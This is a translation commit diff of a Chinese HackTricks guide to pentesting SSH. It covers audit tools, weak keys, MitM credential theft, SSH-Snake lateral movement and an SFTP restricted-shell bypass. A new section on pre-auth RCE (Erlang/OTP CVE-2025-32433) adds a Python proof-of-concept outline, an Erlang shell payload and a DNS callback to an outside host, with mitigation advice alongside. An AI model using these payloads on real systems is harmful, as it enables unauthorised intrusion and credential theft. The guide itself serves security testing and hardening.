Translated ['src/network-services-pentesting/pentesting-ssh.md'] to zh

This commit is contained in:
Translator 2025-08-14 00:19:27 +00:00
parent 002e9d406c
commit 63ab3ec10a

View File

@ -4,7 +4,7 @@
## 基本信息
**SSH (安全外壳或安全套接字外壳)** 是一种网络协议,能够在不安全的网络上与计算机建立安全连接。它对于在访问远程系统时维护数据的机密性和完整性至关重要。
**SSH (安全外壳或安全套接字外壳)** 是一种网络协议,允许通过不安全的网络与计算机建立安全连接。它对于在访问远程系统时维护数据的机密性和完整性至关重要。
**默认端口:** 22
```
@ -13,8 +13,8 @@
**SSH 服务器:**
- [openSSH](http://www.openssh.org) OpenBSD SSH自 Windows 10 起在 BSD、Linux 发行版和 Windows 中提供
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) 针对内存和处理器资源有限环境的 SSH 实现,包含在 OpenWrt 中
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) Windows 的 SSH 实现,客户端常用,但服务器使用较少
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) 适用于内存和处理器资源有限环境的 SSH 实现,包含在 OpenWrt 中
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) 适用于 Windows 的 SSH 实现,客户端常用,但服务器使用较少
- [CopSSH](https://www.itefix.net/copssh) Windows 的 OpenSSH 实现
**SSH 库(实现服务器端):**
@ -36,7 +36,7 @@ ssh-audit 是一个用于 ssh 服务器和客户端配置审计的工具。
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 是一个来自 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) 的更新分支。
**功能**
**特点**
- 支持 SSH1 和 SSH2 协议服务器;
- 分析 SSH 客户端配置;
@ -69,7 +69,7 @@ use -t to change timeout)
(default: 5)
$ python3 ssh-audit <IP>
```
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
[查看实际操作 (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### 服务器的公共 SSH 密钥
```bash
@ -123,7 +123,7 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
#### 弱 SSH 密钥 / Debian 可预测 PRNG
某些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间显著减少,从而可以被暴力破解。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可以在这里找到:[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
某些系统在用于生成加密材料的随机种子存在已知缺陷。这可能导致密钥空间显著减少,从而可以被暴力破解。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可以在这里找到:[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
您应该在这里查找受害者机器的有效密钥。
@ -153,7 +153,7 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
## SSH-MitM
如果您在本地网络中,受害者将使用用户名和密码连接到 SSH 服务器,您可以尝试 **执行 MitM 攻击以窃取这些凭据:**
如果您在本地网络中,作为即将使用用户名和密码连接到 SSH 服务器的受害者,您可以尝试 **执行 MitM 攻击以窃取这些凭据:**
**攻击路径:**
@ -161,18 +161,18 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
- **拦截和记录:** 攻击者的机器充当 **代理**,通过假装是合法的 SSH 服务器来 **捕获** 用户的登录信息。
- **命令执行和转发:** 最后,攻击者的服务器 **记录用户的凭据****将命令转发** 到真实的 SSH 服务器,**执行** 它们,并 **将结果发送回** 用户,使过程看起来无缝且合法。
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) 正是如上所述的功能
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) 完全按照上述描述进行
为了捕获执行实际的 MitM您可以使用 ARP 欺骗、DNS 欺骗或在 [**网络欺骗攻击**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) 中描述的其他技术。
## SSH-Snake
如果您想使用发现的 SSH 私钥遍历网络,在每个系统上利用每个私钥连接到新主机,那么 [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) 是您需要的。
如果您想使用发现的 SSH 私钥遍历网络,在每个系统上利用每个私钥连接到新主机,那么 [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) 是您需要的工具
SSH-Snake 自动且递归地执行以下任务:
1. 在当前系统上,查找任何 SSH 私钥,
2. 在当前系统上,查找任何可能接受私钥的主机或目标user@host
2. 在当前系统上查找任何主机或目标user@host这些私钥可能被接受,
3. 尝试使用所有发现的私钥 SSH 连接到所有目标,
4. 如果成功连接到某个目标,则在连接的系统上重复步骤 #1 - #4
@ -186,10 +186,10 @@ SSH 服务器默认允许 root 用户登录,这构成了重大安全风险。*
**在 OpenSSH 中禁用根登录:**
1. **编辑 SSH 配置文件**`sudoedit /etc/ssh/sshd_config`
2. **将设置更改** `#PermitRootLogin yes`**`PermitRootLogin no`**。
3. **使用以下命令重新加载配置**`sudo systemctl daemon-reload`
4. **重启 SSH 服务器** 以应用更改:`sudo systemctl restart sshd`
1. 使用 `sudoedit /etc/ssh/sshd_config` 编辑 SSH 配置文件
2. 将设置从 `#PermitRootLogin yes` 更改**`PermitRootLogin no`**。
3. 使用 `sudo systemctl daemon-reload` 重新加载配置
4. 重 SSH 服务器以应用更改:`sudo systemctl restart sshd`
### SFTP 暴力破解
@ -199,7 +199,7 @@ SSH 服务器默认允许 root 用户登录,这构成了重大安全风险。*
在 SFTP 设置中常常会出现一个常见的疏忽,管理员希望用户在不启用远程 shell 访问的情况下交换文件。尽管将用户设置为非交互式 shell例如 `/usr/bin/nologin`)并将其限制在特定目录中,但仍然存在安全漏洞。**用户可以通过在登录后立即请求执行命令(如 `/bin/bash`)来规避这些限制**,在其指定的非交互式 shell 接管之前。这允许未经授权的命令执行,破坏了预期的安全措施。
[来自这里的示例](https://community.turgensec.com/ssh-hacking-guide/)
[来自这里的示例](https://community.turgensec.com/ssh-hacking-guide/):
```bash
ssh -v noraj@192.168.1.94 id
...
@ -222,7 +222,7 @@ debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
```
以下是用户 `noraj` 的安全 SFTP 配置示例(`/etc/ssh/sshd_config` openSSH
是用户 `noraj` 的安全 SFTP 配置示例(`/etc/ssh/sshd_config` openSSH
```
Match User noraj
ChrootDirectory %h
@ -242,7 +242,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
The **sftp** have the command "**symlink**". Therefore, if you have **可写权限** in some folder, you can create **symlinks** of **其他文件/文件**. As you are probably **被困** inside a chroot this **对你来说不会特别有用**, but, if you can **访问** the created **symlink** from a **chroot** **服务** (for example, if you can access the symlink from the web), you could **通过网络打开symlinked文件**.
The **sftp** have the command "**symlink**". Therefore, if you have **可写权限** in some folder, you can create **symlinks** of **其他文件/文件**. As you are probably **被困** inside a chroot this **对你来说不会特别有用**, but, if you can **访问** the created **symlink** from a **no-chroot** **服务** (for example, if you can access the symlink from the web), you could **通过网络打开symlinked文件**.
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
```bash
@ -252,7 +252,7 @@ sftp> symlink / froot
### 认证方法
在高安全性环境中,通常的做法是仅启用基于密钥或双因素认证,而不是简单的基于密码的单因素认证。但通常情况下,较强的认证方法被启用而没有禁用较弱的认证方法。一个常见的情况是在 openSSH 配置中启用 `publickey` 并将其设置为默认方法,但没有禁用 `password`。因此,通过使用 SSH 客户端的详细模式,攻击者可以看到启用了较弱的方法:
在高安全性环境中,通常的做法是仅启用基于密钥或双因素认证,而不是简单的基于密码的单因素认证。但通常情况下,较强的认证方法被启用而没有禁用较弱的认证方法。一个常见的情况是在 openSSH 配置中启用 `publickey` 并将其设置为默认方法,但没有禁用 `password`。因此,通过使用 SSH 客户端的详细模式,攻击者可以看到较弱的方法被启用
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -281,12 +281,68 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## References
## 身份验证状态机绕过(预认证 RCE
- 你可以在 [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) 找到关于如何加固 SSH 的有趣指南
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
多个 SSH 服务器实现包含逻辑缺陷,在 **身份验证有限状态机** 中允许客户端在身份验证完成 **之前** 发送 *连接协议* 消息。由于服务器未能验证其处于正确状态,这些消息被处理为用户已完全通过身份验证,从而导致 **未认证代码执行** 或会话创建。
## HackTricks Automatic Commands
在协议层面,任何 _消息代码_ **≥ 80** (0x50) 的 SSH 消息属于 *连接* 层 (RFC 4254),并且必须 **仅在成功身份验证后接受** (RFC 4252)。如果服务器在 *SSH_AUTHENTICATION* 状态下处理其中一条消息,攻击者可以立即创建通道并请求执行命令、端口转发等操作。
### 通用利用步骤
1. 建立与目标 SSH 端口的 TCP 连接(通常为 22但其他服务可能在 2022、830、2222 等端口上暴露 Erlang/OTP
2. 构造一个原始 SSH 数据包:
* 4 字节 **packet_length**(大端)
* 1 字节 **message_code** ≥ 80例如 `SSH_MSG_CHANNEL_OPEN` = 90`SSH_MSG_CHANNEL_REQUEST` = 98
* 负载将被所选消息类型理解
3. 在 **完成任何身份验证步骤之前** 发送数据包。
4. 与现在暴露的 _预认证_ 服务器 API 进行交互(命令执行、端口转发、文件系统访问等)。
Python 概念验证大纲:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
在实践中,您需要根据目标实现执行(或跳过)密钥交换,但**从未执行身份验证**。
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **受影响的版本:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **根本原因:** Erlang 原生 SSH 守护进程在调用 `ssh_connection:handle_msg/2` 之前未验证当前状态。因此,任何消息代码为 80-255 的数据包在会话仍处于 *userauth* 状态时到达连接处理程序。
* **影响:** 未经身份验证的 **远程代码执行**(守护进程通常以 **root** 身份在嵌入式/OT 设备上运行)。
示例有效负载,生成绑定到攻击者控制通道的反向 shell
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
盲目 RCE / 异带检测可以通过 DNS 执行:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
检测与缓解:
* 检查 SSH 流量:**丢弃任何在身份验证之前观察到的消息代码 ≥ 80 的数据包**。
* 将 Erlang/OTP 升级到 **27.3.3 / 26.2.5.11 / 25.3.2.20** 或更新版本。
* 限制管理端口22/2022/830/2222的暴露特别是在 OT 设备上。
---
### 受影响的其他实现
* **libssh** 0.6 0.8(服务器端) **CVE-2018-10933** 接受客户端发送的未经身份验证的 `SSH_MSG_USERAUTH_SUCCESS`,实际上是反向逻辑缺陷。
共同的教训是,任何偏离 RFC 规定的状态转换都可能是致命的;在审查或模糊测试 SSH 守护进程时,特别注意 *状态机执行*
## 参考文献
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [SSH 加固指南](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH 黑客指南](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks 自动命令
```
Protocol_Name: SSH
Port_Number: 22